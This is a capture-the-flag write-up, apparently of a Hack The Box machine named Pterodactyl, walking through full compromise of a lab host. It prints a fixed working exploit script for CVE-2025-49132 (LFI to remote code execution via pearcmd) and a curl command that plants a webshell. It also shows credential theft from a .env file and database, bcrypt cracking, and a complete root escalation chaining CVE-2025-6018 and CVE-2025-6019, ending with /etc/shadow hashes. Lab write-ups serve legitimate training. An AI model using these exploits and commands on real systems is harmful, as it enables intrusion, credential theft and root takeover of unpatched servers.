Enum
- Initial scans
$ export IP=10.129.7.81
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
Open 10.129.7.81:22
Open 10.129.7.81:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
| 256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOouXDOkVrDkob+tyXJOHu3twWDqor3xlKgyYmLIrPasaNjhBW/xkGT2otP1zmnkTUyGfzEWZGkZB2Jkaivmjgc=
| 256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJTXNuX5oJaGQJfvbga+jM+14w5ndyb0DN0jWJHQCDd9
80/tcp open http syn-ack nginx 1.21.5
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://pterodactyl.htb/
|_http-server-header: nginx/1.21.5- Update
/etc/hosts
$ echo "$IP pterodactyl.htb" | sudo tee -a /etc/hosts- Visiting webpage reveals additional
vhost, perhaps there are more. - http://pterodactyl.htb/

- Enumerate directories and vhosts with
gobuster
$ gobuster vhost -u http://pterodactyl.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://pterodactyl.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
panel.pterodactyl.htb Status: 200 [Size: 1897]
$ gobuster dir -u http://pterodactyl.htb -w /usr/share/wordlists/dirb/common.txt -t 50
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://pterodactyl.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.htaccess (Status: 403) [Size: 153]
.hta (Status: 403) [Size: 153]
.htpasswd (Status: 403) [Size: 153]
index.php (Status: 200) [Size: 1686]
phpinfo.php (Status: 200) [Size: 73006]- Update
/etc/hosts
$ echo "$IP panel.pterodactyl.htb" | sudo tee -a /etc/hosts- Visiting reveals login panel for Pterodactyl

- Searching online we find several PoC available for Pterodactyl but we do not know version
- Trying more recent ones I found CVE-2025-49132 PoC
User
poc.py (unedited)
import sys, os
host=sys.argv[1]
payload=sys.argv[2].replace(' ','\\$\\\\{IFS\\\\}')
# Ugly but have to use curl since the package requests won't allow us to send characters like '{' without encoding them
os.system(f"curl \"http://{host}/locales/locale.json?+config-create+/&locale=../../../../../usr/local/lib/php&namespace=pearcmd&/<?=system('{payload}')?>+/tmp/payload.php\"")
os.system(f"curl \"http://{host}/locales/locale.json?locale=../../../../../tmp&namespace=payload\"")- We see that it uses chained LFI + RCE through
pearcmd - First call abuses LFI to
pearcmdbinary, creating aphpfile containing payload viaconfig-create - Second call loads the
phpfile and executes thesystemcall - However this PoC will not work as is, we need to fix it.
- This relies on having the correct path to
pearcmdwhich we have not verified - Recall http://pterodactyl.htb/phpinfo.php

poc.py (fixed)
import sys, os
host=sys.argv[1]
payload=sys.argv[2].replace(' ','\\$\\\\{IFS\\\\}')
# Ugly but have to use curl since the package requests won't allow us to send characters like '{' without encoding them
os.system(f"curl \"http://{host}/locales/locale.json?+config-create+/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('{payload}')?>+/tmp/payload.php\"")
os.system(f"curl \"http://{host}/locales/locale.json?locale=../../../../../tmp&namespace=payload\"")- Testing the script
$ python poc.py panel.pterodactyl.htb "cat /etc/passwd | grep bash"
*snip*
#PEAR_Config 0.9
a:13:{s:7:"php_dir";s:133:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/
root:x:0:0:root:/root:/bin/bash
nobody:x:65534:65534:nobody:/var/lib/nobody:/bin/bash
headmonitor:x:1001:100::/home/headmonitor:/bin/bash
phileasfogg3:x:1002:100::/home/phileasfogg3:/bin/bash
phileasfogg3:x:1002:100::/home/phileasfogg3:/bin/bash/pear/php";
*snip*- Looks like it works! We found some users on the system
Users
root
headmonitor
phileasfogg3
- The output is messy, so I transferred p0wnyshell over HTTP server into webdir
$ curl -O https://blog.johng4lt.com/Toolbox/Webshells/vampshell.php
$ python -m http.server PORT &
$ python poc.py panel.pterodactyl.htb "curl http://<YOURIP>:<PORT>/vampshell.php -o /var/www/pterodactyl/public/vampshell.php"
- Reading
.envwe find some credentials
wwwrun@pterodactyl:…/pterodactyl/public$ cat ../.env
APP_ENV=production
APP_DEBUG=false
APP_KEY=base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
APP_THEME=pterodactyl
APP_TIMEZONE=UTC
APP_URL="http://panel.pterodactyl.htb"
APP_LOCALE=en
APP_ENVIRONMENT_ONLY=false
LOG_CHANNEL=daily
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel
*snip*MYSQL
DB =
panel
pterodactyl:PteraPanel
- Connect to mysql and dump info
wwwrun@pterodactyl:…/pterodactyl/public$ mysql -u'pterodactyl' -p'PteraPanel' -h'127.0.0.1' panel -e 'SELECT username, password FROM users;' --table
+--------------+--------------------------------------------------------------+
| username | password |
+--------------+--------------------------------------------------------------+
| headmonitor | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 |
| phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi |
+--------------+--------------------------------------------------------------+- Attempt cracking hashes locally
$ nano hashes.txt
$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi
$ hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi:!QAZ2wsxCredentials
phileasfogg3:!QAZ2wsx
- Can login on panel but nothing really seems useful
- Attempting SSH with credentials proves successful
$ sshpass -p '!QAZ2wsx' ssh -o StrictHostKeyChecking=no phileasfogg3@pterodactyl.htb
phileasfogg3@pterodactyl:~> ls
bin user.txtRoot
- Sudo privs are misleading which required further enumeration
phileasfogg3@pterodactyl:~> sudo -l
Matching Defaults entries for phileasfogg3 on pterodactyl:
always_set_home, env_reset, env_keep="LANG LC_ADDRESS LC_CTYPE LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS XDG_SESSION_COOKIE",
!insults, secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin, targetpw
User phileasfogg3 may run the following commands on pterodactyl:
(ALL) ALL- Will be prompted for
rootpassword when usingsudo - Searching elsewhere,
mailreturns hints for path forward
phileasfogg3@pterodactyl:~> mail
Heirloom mailx version 12.5 7/5/10. Type ? for help.
"/var/spool/mail/phileasfogg3": 1 message 1 new
>N 1 headmonitorheadmon Fri Nov 07 09:15 23/960 SECURITY NOTICE — Unusual
? 1
Message 1:
From headmonitor@pterodactyl Fri Nov 07 09:15:00 2025
Delivered-To: phileasfogg3@pterodactyl
id 1234567890; Fri, 7 Nov 2025 09:15:00 +0100 (CET)
From: headmonitor headmonitor@pterodactyl
To: All Users all@pterodactyl
Subject: SECURITY NOTICE — Unusual udisksd activity (stay alert)
Date: Fri, 07 Nov 2025 09:15:00 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Attention all users,
Unusual activity has been observed from the udisks daemon (udisksd). No confirmed compromise at this time, but increased vigilance is required.
Do not connect untrusted external media. Review your sessions for suspicious activity. Administrators should review udisks and system logs and apply pending updates.
Report any signs of compromise immediately to headmonitor@pterodactyl.htb
— HeadMonitor
System Administratorudisksdsounds like a flaw they currently have in place- Searching
udisksd CVEARTICLE - Mentions chaining together CVE-2025-6018 and CVE-2025-6019
- TECHNICAL BREAKDOWN HERE
Qualys Security Advisory
========================================================================
CVE-2025-6018: LPE from unprivileged to allow_active in *SUSE 15`s PAM
========================================================================
________________________________________________________________________
Analysis
________________________________________________________________________
During our recent work on OpenSSH, we noticed that, when an unprivileged
user logs in via sshd on openSUSE Leap 15 or SUSE Linux Enterprise 15:
- PAM`s pam_env module (from Linux-PAM 1.3.0) reads this user's
~/.pam_environment file by default (i.e., pam_env's "user_readenv"
configuration option is 1 by default);
- the pam_env module is called first, by sshd's do_pam_setcred(), as
part of PAM's "auth" stack (from /etc/pam.d/common-auth);
- the pam_systemd module is called later, by sshd's do_pam_session(), as
part of PAM's "session" stack (from /etc/pam.d/common-session).
Consequently, an unprivileged attacker who logs in via sshd can force
the pam_env module to add arbitrary variables to PAM`s environment (by
first writing them to ~/.pam_environment), and these variables are then
returned to the pam_systemd module by pam_getenv(). In particular, the
pam_systemd module calls pam_getenv() for the XDG_SEAT and XDG_VTNR
variables, which immediately reminded us of Jann Horn`s excellent
CVE-2019-3842 in systemd:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1812316
In a nutshell, by setting XDG_SEAT=seat0 and XDG_VTNR=1 in
~/.pam_environment, an unprivileged attacker who logs in via sshd on
openSUSE Leap 15 or SUSE Linux Enterprise 15 can pretend that they are,
in fact, a physical user who is sitting in front of the computer; i.e.,
an "allow_active" user, in polkit parlance.
*snip*
========================================================================
CVE-2025-6019: LPE from allow_active to root in libblockdev via udisks
========================================================================
________________________________________________________________________
Analysis
________________________________________________________________________
Armed with our "unprivileged to allow_active" LPE, we obviously decided
to hunt for an "allow_active to root" LPE, and therefore grepped for
"allow_active yes" polkit actions:
------------------------------------------------------------------------
victim> grep -rl 'allow_active.*yes' /usr/share/polkit-1/actions
/usr/share/polkit-1/actions/org.freedesktop.login1.policy
/usr/share/polkit-1/actions/org.freedesktop.ModemManager1.policy
/usr/share/polkit-1/actions/org.freedesktop.NetworkManager.policy
/usr/share/polkit-1/actions/com.redhat.tuned.policy
/usr/share/polkit-1/actions/org.fedoraproject.FirewallD1.desktop.policy.choice
/usr/share/polkit-1/actions/org.fedoraproject.FirewallD1.server.policy.choice
/usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy
------------------------------------------------------------------------- We can check to see if our version is vulnerable
phileasfogg3@pterodactyl:~> grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="openSUSE Leap 15.6"
phileasfogg3@pterodactyl:~> grep -rl 'allow_active.*yes' /usr/share/polkit-1/actions
/usr/share/polkit-1/actions/org.freedesktop.login1.policy
/usr/share/polkit-1/actions/org.fedoraproject.FirewallD1.desktop.policy.choice
/usr/share/polkit-1/actions/org.fedoraproject.FirewallD1.server.policy.choice
/usr/share/polkit-1/actions/com.redhat.tuned.policy
/usr/share/polkit-1/actions/org.freedesktop.UDisks2.policyUDisks2.policyis present containingallow_active- Lines up, this will likely be the way forward
Manual Method
CVE-2025-6018
- Enabling
allow_activeper documentation
phileasfogg3@pterodactyl:~> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot
('challenge',)
phileasfogg3@pterodactyl:~> { echo 'XDG_SEAT OVERRIDE=seat0'; echo 'XDG_VTNR OVERRIDE=1'; } > .pam_environment
phileasfogg3@pterodactyl:~> exit
logout
Connection to pterodactyl.htb closed.- Now log back on and verify it was enabled
$ sshpass -p '!QAZ2wsx' ssh -o StrictHostKeyChecking=no phileasfogg3@pterodactyl.htb
phileasfogg3@pterodactyl:~> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot
('yes',)allow_activeis now enabled
CVE-2025-6019
- Following along, we need to create
xfs.imageasrooton local system and transfer over to target machine
$ dd if=/dev/zero of=./xfs.image bs=1M count=300
$ sudo mkfs.xfs ./xfs.image
$ mkdir ./xfs.mount
$ sudo mount -t xfs ./xfs.image ./xfs.mount
$ sudo cp /bin/bash ./xfs.mount
$ sudo chmod 04555 ./xfs.mount/bash
$ sudo umount ./xfs.mount
$ sshpass -p '!QAZ2wsx' scp -o StrictHostKeyChecking=no xfs.image phileasfogg3@pterodactyl.htb:~/- Back in our SSH session
phileasfogg3@pterodactyl:~> ls
bin user.txt xfs.image
phileasfogg3@pterodactyl:~> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot
('yes',)
phileasfogg3@pterodactyl:~> killall -KILL gvfs-udisks2-volume-monitor
gvfs-udisks2-volume-monitor: no process found
phileasfogg3@pterodactyl:~> udisksctl loop-setup --file ./xfs.image --no-user-interaction
Mapped file ./xfs.image as /dev/loop0.
phileasfogg3@pterodactyl:~> while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null &
[1] 22926
phileasfogg3@pterodactyl:~> gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop0 --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
-r-sr-xr-x 1 root root 1380656 Feb 7 07:53 /tmp/blockdev.S1MMK3/bash
phileasfogg3@pterodactyl:~> mount | grep loop0
/dev/loop0 on /tmp/blockdev.S1MMK3 type xfs (rw,relatime,attr2,inode64,logbufs=8,logbsize=32k,noquota)
phileasfogg3@pterodactyl:~> /tmp/blockdev*/bash -p
bash-5.3$ id
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
bash-5.3$ ls /root/
bin inst-sys root.txtPoC method
- Close SSH session if you tried manual method above
- Using available exploits for easy exploitation of CVE-2025-6018/6019
- CVE-2025-6018 PoC
- CVE-2025-6019 PoC
$ curl -O https://raw.githubusercontent.com/ibrahmsql/CVE-2025-6018/04df7537c80c64bf258e29ca9691d004d76b522e/CVE-2025-6018.py
$ curl -O https://raw.githubusercontent.com/guinea-offensive-security/CVE-2025-6019/refs/heads/main/exploit.sh- Comment out
check_dependencies()inexploit.shto avoid errors later after transfer
$ cat exploit.sh
#!/bin/bash
# PoC for CVE-2025-6019: LPE via libblockdev/udisks
# Author: 0xabdoulaye, Team Guinea Offensive Security
# Modified to create a 300 MB XFS image and improve resize reliability
# Usage: Run as root for local mode; run as any user for target mode
# Function to check dependencies
# check_dependencies() {
# local deps=("dd" "mkfs.xfs" "mount" "umount" "udisksctl" "gdbus" "killall" "grep" "chmod" "cp")
# for dep in "${deps[@]}"; do
# if ! command -v "$dep" &>/dev/null; then
# echo "[-] Error: Required tool '$dep' is not installed."
# exit 1
# fi
# done
# echo "[+] All dependencies are installed."
# }
*snip*- Execute
CVE-2025-6018.pyto gain shell withallow_activeenabled
$ python3 CVE-2025-6018.py -i pterodactyl.htb -u phileasfogg3 -p '!QAZ2wsx'
*snip*
exploit$ status
uid=1002(phileasfogg3) gid=100(users) groups=100(users)
users- We need to now run the
CVE-2025-6019.shlocally withsudo+ (L) option - Transfer both
xfs.imageandexploit.shto target machine afterwards
$ sudo ./exploit.sh
PoC for CVE-2025-6019 (LPE via libblockdev/udisks)
WARNING: Only run this on authorized systems. Unauthorized use is illegal.
Continue? [y/N]: y
*snip*
Select mode:
[L]ocal: Create 300 MB XFS image (requires root)
[C]ible: Exploit target system
[L]ocal or [C]ible? (L/C): L <-- SELECT L OPTION
[*] Creating a 300 MB XFS image on local machine...
*snip*
[+] 300 MB XFS image created: ./xfs.image
[*] Transfer to target with: scp xfs.image <user>@<host>:
$ sshpass -p '!QAZ2wsx' scp -o StrictHostKeyChecking=no exploit.sh phileasfogg3@pterodactyl.htb:/tmp/
$ sshpass -p '!QAZ2wsx' scp -o StrictHostKeyChecking=no xfs.image phileasfogg3@pterodactyl.htb:/tmp/- Execute
exploit.shfrom the establishedCVE-2025-6018shell (since it has enabledallow_active)
exploit$ /exploit.sh
PoC for CVE-2025-6019 (LPE via libblockdev/udisks)
WARNING: Only run this on authorized systems. Unauthorized use is illegal.
Continue? [y/N]: exploit$ y
*snip*
[L]ocal or [C]ible? (L/C): exploit$ c <-- NOW USE C OPTION
*snip*
[*] Checking for SUID bash in /tmp/blockdev*...
[+] SUID bash found: /tmp/blockdev.OIC5J3/bash
-rwsr-xr-x 1 root root 1380656 Feb 7 01:55 /tmp/blockdev.OIC5J3/bash
[*] Executing root shell...
bash-5.3$ exploit$ id
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
bash-5.3$ exploit$ ls /root
bin inst-sys root.txtHashes
bash-5.3$ cat /etc/shadow
root:$6$iOhjvxjnk.Sgt97C$Fr4NzyL9SEFOiH653sh30DAR1kmR9jxGNeWMplTMQmlXVO/CfRXy7q2xopOBkfG2SG/I3O7KDOFHT7bOTZG.a0:20343::::::
phileasfogg3:$6$Zc6vsfIsXPSjCLgU$1CEcVIqk717ztdSj0VJ3CaCxSsGYV8N2DgJsJGXeDKoYoBmc8l2F5LbvWFfRYuyBn0Xf5t1Tx4i9Ao8xsSnXQ.:20399:0:99999:7:::